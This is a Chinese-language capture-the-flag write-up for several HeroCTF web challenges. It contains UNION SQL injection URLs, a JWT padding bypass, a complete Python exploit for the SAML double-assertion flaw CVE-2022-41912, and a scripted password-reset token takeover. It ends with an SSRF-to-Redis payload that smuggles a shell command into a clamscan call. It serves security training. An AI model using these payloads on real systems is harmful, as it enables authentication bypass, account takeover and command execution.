最近空闲期,无聊就打打CTF,睡睡觉。
WEB
Tomwhat
package com.example.light;
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;
public class LightServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
HttpSession session = req.getSession();
String username = (String) session.getAttribute("username");
String error = (String) req.getAttribute("error");
StringBuilder html = new StringBuilder();
html.append("<html><body><h1>Light Side</h1>");
if (error != null) {
html.append("<p style='color:red;'>").append(error).append("</p>");
}
html.append("<form method='post'>");
html.append("<input name='username' />");
html.append("<button type='submit'>Join</button>");
html.append("</form>");
if (username != null) {
html.append("<p>You are on the good side Lord ").append(username).append("</p>");
html.append("<form action='/dark/' method='get'><button>Go dark</button></form>");
}
html.append("</body></html>");
resp.getWriter().write(html.toString());
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String username = req.getParameter("username");
if ("darth_sidious".equalsIgnoreCase(username)) {
req.setAttribute("error", "Forbidden username.");
doGet(req, resp);
return;
}
req.getSession().setAttribute("username", username);
resp.sendRedirect(req.getContextPath() + "/");
}
}
package com.example.dark;
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
HttpSession s = req.getSession(false);
String username = s == null ? null : (String) s.getAttribute("username");
StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");
if ("darth_sidious".equalsIgnoreCase(username)) {
html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
} else {
html.append("<p>Access denied.</p>");
}
html.append("</body></html>");
resp.getWriter().write(html.toString());
}
}
由于session统一管理可以共享,所以可以利用tomcat的session example生成一个username=darth_sidious的session,然后访问/dark/admin即可
http://dyn09.heroctf.fr:13717/examples/servlets/servlet/SessionExample?dataname=username&datavalue=darth_sidious
http://dyn09.heroctf.fr:13717/dark/admin

Revoked
联合注入获取admin1的哈希
http://dyn13.heroctf.fr:13576/employees?query=Alice%'union SELECT id, username, is_admin, password_hash FROM users--
然后hashcat爆破就行了

Revoked Revenge
首先写了历史jwt
http://dyn02.heroctf.fr:12228/employees?query=Alice%' UNION SELECT 1, id, 3, token FROM revoked_tokens--
找到管理员的
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDQyNTYzNS42MzY5MDM4fQ.Arejz0ENdgFXjOpGfxBYnJOV93NHZjNdBZUodJYSIBw
后面加个=就能绕过,因为一般jwt会忽略到base64末尾的=,加上不影响解析
"SELECT id FROM revoked_tokens WHERE token = ?", (token,)

SAMLevinson
根据描述可以是CVE-2022-41912 ,是一个SAML协议的一个解析漏洞。
来自GHSA-j2jp-wvqg-wc2g · 的合并拉取请求Crewjam/saml@aee3fb1

当 XML 中包含多个 <Assertion> 元素时,用 Go 原生反序列化(unmarshal)得到的 resp.Assertion 结构 只会保留最后一个 Assertion。换句话说,如果有两个 Assertion,只有第二个(最后一个)会被反序列化对象所表示。
攻击者可以利用这一差异,构造一个 SAML Response,包含 两个 Assertion:
- 第一个 Assertion 是合法签名且有效的(例如普通用户的 Assertion)
- 第二个 Assertion 是伪造的(例如高权限账户的 Assertion),但不经过签名验证(因为签名验证只针对第一个 Assertion)
然后写个脚本即可import requests import re import base64 import html import random import string # ================= 配置区域 ================= # 目标 APP (Service Provider) URL_APP = "http://web.heroctf.fr:8080" # 身份提供者 (Identity Provider) URL_IDP = "http://web.heroctf.fr:8081" # 题目提供的合法低权限账号 USERNAME = "user" PASSWORD = "oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM" # =========================================== # 创建 Session 以维持 Cookie s = requests.Session() s.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" }) def exploit(): print(f"[*] 1. 访问 APP ({URL_APP}/flag),触发 SAML 流程...") try: r = s.get(f"{URL_APP}/flag", allow_redirects=True) except Exception as e: print(f"[-] 连接失败: {e}") return # 检查是否跳转到了 IDP 登录页 if "sso" not in r.url and "SAMLRequest" not in r.text: print(f"[-] 未跳转到登录页,当前 URL: {r.url}") return print("[*] 2. 从页面提取 SAMLRequest 和 RelayState...") # 从 HTML hidden input 中提取,而不是从 URL 参数提取 (防止编码问题) req_match = re.search(r'name="SAMLRequest" value="(.*?)"', r.text) relay_match = re.search(r'name="RelayState" value="(.*?)"', r.text) if not req_match: print("[-] 无法提取 SAMLRequest。") return saml_request = html.unescape(req_match.group(1)) relay_state = html.unescape(relay_match.group(1)) if relay_match else "" print("[*] 3. 在 IDP 登录获取合法的 SAMLResponse...") login_data = { "user": USERNAME, "password": PASSWORD, "SAMLRequest": saml_request, "RelayState": relay_state } # 发送登录请求 r_login = s.post(f"{URL_IDP}/sso", data=login_data) if r_login.status_code != 200: print(f"[-] 登录失败,状态码: {r_login.status_code}") return # 提取 IDP 返回的 SAMLResponse (Base64) resp_match = re.search(r'name="SAMLResponse" value="(.*?)"', r_login.text) if not resp_match: print("[-] 登录后未找到 SAMLResponse,认证可能失败。") return raw_saml_response = html.unescape(resp_match.group(1)) print(f"[+] 获取到合法 Response (长度: {len(raw_saml_response)})") # ================= 漏洞利用核心:构造双断言 ================= print("[*] 4. 执行 CVE-2022-41912 攻击 (构造双断言)...") # A. 解码 XML xml_content = base64.b64decode(raw_saml_response).decode('utf-8') # B. 提取原始的合法 Assertion (带签名的) # 我们需要完整提取 <saml:Assertion ...> 到 </saml:Assertion> # 使用非贪婪匹配提取第一个 Assertion pattern = r'(<saml:Assertion.*?<\/saml:Assertion>)' match = re.search(pattern, xml_content, re.DOTALL) if not match: print("[-] 无法提取 Assertion,XML 结构可能不标准。") return valid_assertion = match.group(1) print("[+] 提取到 Valid Assertion (用于绕过签名验证)。") # C. 制作恶意的 Assertion (基于合法断言修改) evil_assertion = valid_assertion # 1. 移除签名 (删除 <ds:Signature>... </ds:Signature>) evil_assertion = re.sub(r'<ds:Signature.*?>.*?<\/ds:Signature>', '', evil_assertion, flags=re.DOTALL) # 2. 修改用户身份 (User -> Admin) # 替换 uid evil_assertion = evil_assertion.replace('>user<', '>admin<') # 替换组 (Users -> Administrators) evil_assertion = evil_assertion.replace('>Users<', '>Administrators<') # 3. 修改 ID (防止 ID 冲突导致解析报错) new_id = "id-" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=32)) evil_assertion = re.sub(r'ID="[^"]*"', f'ID="{new_id}"', evil_assertion, count=1) # 4. 修改时间戳 (防止 403 Forbidden) # 强制将有效期覆盖为 2020年 - 2035年 evil_assertion = re.sub(r'NotBefore="[^"]*"', 'NotBefore="2020-01-01T00:00:00Z"', evil_assertion) evil_assertion = re.sub(r'NotOnOrAfter="[^"]*"', 'NotOnOrAfter="2035-01-01T00:00:00Z"', evil_assertion) print("[+] 恶意 Assertion 构造完成。") # D. 拼接 XML (关键步骤:Valid 在前,Evil 在后) # 查找 Valid Assertion 在原文中的结束位置 insert_pos = xml_content.find(valid_assertion) + len(valid_assertion) # 在 Valid Assertion 后面追加 Evil Assertion final_xml = xml_content[:insert_pos] + evil_assertion + xml_content[insert_pos:] # 验证拼接结果包含两个断言 if final_xml.count("saml:Assertion") < 4: # 开始标签+结束标签 * 2 = 4 print("[-] XML 拼接可能由问题,Assertion 数量不对。") # E. 重新编码为 Base64 payload = base64.b64encode(final_xml.encode('utf-8')).decode('utf-8') # ================= 发送 Payload ================= print("[*] 5. 发送 Payload 到 APP (SAML ACS)...") acs_url = f"{URL_APP}/saml/acs" # [关键] 伪造 Headers 绕过 Origin/Referer 检查 spoofed_headers = { "Origin": URL_IDP, "Referer": f"{URL_IDP}/", "Content-Type": "application/x-www-form-urlencoded" } acs_data = { "SAMLResponse": payload, "RelayState": relay_state } # 发送 POST 请求 r_final = s.post(acs_url, data=acs_data, headers=spoofed_headers) print(f"[*] 响应状态码: {r_final.status_code}") # ================= 结果检查 ================= if "Hero{" in r_final.text: print("\n" + "="*40) print("[SUCCESS] 攻击成功!Flag 如下:") # 提取 Flag flag = re.search(r'(Hero{.*?})', r_final.text) if flag: print(f"\n {flag.group(1)}\n") else: print("Flag 匹配失败,请手动查看响应。") print("="*40 + "\n") else: print("[-] 攻击失败。") if "Administrators" in r_final.text: print("提示: 页面显示组为 Administrators,但 Flag 未出现 (可能需要特定 URL 或参数)。") elif "You are not part of" in r_final.text: print("提示: 依然提示权限不足 (Assertion 顺序可能反了,或者漏洞已修补)。") # 打印部分响应 print("-" * 20 + " Response Preview " + "-" * 20) print(r_final.text[:500]) if __name__ == "__main__": exploit()

Spring Drive
首先是token碰撞修改admin密码
POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
{
"email": "[email protected]"
}
HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:09 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70
{"status":"success","message":"Password reset email sent","data":null}
GET /api/auth/email HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:28 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 132
{"status":"success","message":null,"data":["ResetPasswordToken [token=343d1a6a-a0a4-41ed-90ba-7b973de5f42f|2, email=[email protected]]"]}
POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
{
"email": "[email protected]"
}
HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:41:42 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70
{"status":"success","message":"Password reset email sent","data":null}
POST /api/auth/reset-password HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
{
"email": "\u3DEE\u5F85\uD5D5\u5A05\uA19F",
"token": "343d1a6a-a0a4-41ed-90ba-7b973de5f42f|1",
"password": "NewAdminPass123"
}
HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:46:22 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70
{"status":"success","message":"Password reset successful","data":null}
写个脚本实现
import requests
import json
import re
class PasswordResetExploit:
def __init__(self, base_url, session_cookie):
self.base_url = base_url
self.session_cookie = session_cookie
self.headers = {
'Cookie': f'SESSION={session_cookie}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/json',
'Upgrade-Insecure-Requests': '1'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def send_password_reset(self, email):
"""发送密码重置请求"""
url = f"{self.base_url}/api/auth/send-password-reset"
data = {"email": email}
response = self.session.post(url, json=data)
print(f"[+] 发送密码重置请求给: {email}")
print(f" 状态码: {response.status_code}")
print(f" 响应: {response.text}")
return response.json()
def get_email_tokens(self):
"""获取邮箱中的重置token"""
url = f"{self.base_url}/api/auth/email"
response = self.session.get(url)
print(f"[+] 获取邮箱token列表")
print(f" 状态码: {response.status_code}")
print(f" 响应: {response.text}")
if response.status_code == 200:
data = response.json()
if data.get('status') == 'success' and data.get('data'):
return data['data']
return []
def extract_token(self, token_data):
"""从响应中提取token"""
tokens = []
for item in token_data:
# 使用正则表达式提取token
match = re.search(r'token=([^|]+)\|(\d+)', item)
if match:
token = match.group(1)
email_match = re.search(r'email=([^\]]+)', item)
email = email_match.group(1) if email_match else "unknown"
tokens.append({
'token': token,
'email': email,
'full_token': f"{token}|{match.group(2)}"
})
return tokens
def obfuscate_email(self, email):
"""对邮箱进行Unicode混淆"""
# 这是你提供的Unicode混淆字符串
obfuscated = "\u3DEE\u5F85\uD5D5\u5A05\uA19F"
print(f"[+] 邮箱混淆: {email} -> {obfuscated}")
return obfuscated
def reset_password(self, email, token, new_password, use_obfuscation=True):
"""执行密码重置"""
url = f"{self.base_url}/api/auth/reset-password"
# 根据选择使用混淆或原始邮箱
target_email = self.obfuscate_email(email) if use_obfuscation else email
payload = {
"email": target_email,
"token": token,
"password": new_password
}
print(f"[+] 发送重置请求负载:")
print(f" Email: {target_email} (原始: {email})")
print(f" Token: {token}")
print(f" Password: {new_password}")
response = self.session.post(url, json=payload)
print(f" 状态码: {response.status_code}")
print(f" 响应: {response.text}")
return response.json()
def exploit(self, target_email="[email protected]", new_password="NewAdminPass123"):
"""执行完整的攻击流程"""
print("[*] 开始密码重置攻击流程...")
# 1. 先为自己的测试邮箱请求重置,获取token格式
print("\n[*] 步骤1: 获取token格式...")
self.send_password_reset("[email protected]")
# 2. 获取邮箱中的token
print("\n[*] 步骤2: 获取邮箱token...")
token_data = self.get_email_tokens()
tokens = self.extract_token(token_data)
if not tokens:
print("[-] 未找到有效token")
return False
print(f"[+] 找到 {len(tokens)} 个token:")
for t in tokens:
print(f" Token: {t['full_token']} (邮箱: {t['email']})")
# 3. 为目标管理员邮箱发送重置请求
print(f"\n[*] 步骤3: 为目标邮箱 {target_email} 发送重置请求...")
self.send_password_reset(target_email)
# 4. 尝试使用获取的token格式进行密码重置(带Unicode混淆)
print(f"\n[*] 步骤4: 使用Unicode混淆尝试重置管理员密码...")
# 使用第一个token的格式,但修改序号为目标邮箱的序号
base_token = tokens[0]['token']
# 尝试不同的序号(先尝试序号1,因为从你的成功请求中看到是|1)
token_attempts = [
f"{base_token}|1", # 优先尝试序号1
f"{base_token}|2",
f"{base_token}|3",
f"{base_token}|4"
]
for attempt_token in token_attempts:
print(f"\n[*] 尝试Token: {attempt_token}")
# 使用Unicode混淆
result = self.reset_password(target_email, attempt_token, new_password, use_obfuscation=True)
if result.get('status') == 'success':
print(f"[+] 密码重置成功!")
print(f"[+] 管理员邮箱: {target_email}")
print(f"[+] 使用Token: {attempt_token}")
print(f"[+] 新密码: {new_password}")
return True
else:
print(f"[-] Token {attempt_token} 失败")
return False
def main():
# 配置参数
BASE_URL = "http://192.168.31.210:8081"
SESSION_COOKIE = "MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl"
TARGET_EMAIL = "[email protected]"
NEW_PASSWORD = "12345678"
# 创建攻击实例
exploit = PasswordResetExploit(BASE_URL, SESSION_COOKIE)
# 执行攻击
success = exploit.exploit(TARGET_EMAIL, NEW_PASSWORD)
if success:
print("\n[+] 攻击成功完成!")
else:
print("\n[-] 攻击失败")
if __name__ == "__main__":
main()
后面就是redis 打SSRF,直接在http_method构造redis语句然后命令拼接到ClamAVService
String command = String.format("clamscan --quiet '%s'", filePath);
ProcessBuilder processBuilder = new ProcessBuilder("/bin/sh", "-c", command);
POST /api/file/remote-upload HTTP/1.1
Host: dyn01.heroctf.fr:12149
Accept-Encoding: gzip, deflate
Cookie: SESSION=MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl
Priority: u=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/json
Accept: */*
Referer: http://dyn01.heroctf.fr:12149/
Origin: http://dyn01.heroctf.fr:12149
Content-Length: 66
{"url":"http://localhost:6379","filename":"11","httpMethod":"RPUSH clamav_queue \"/etc/passwd'; cp /app/flag* /usr/share/nginx/html/flag.txt #'\"\n"}
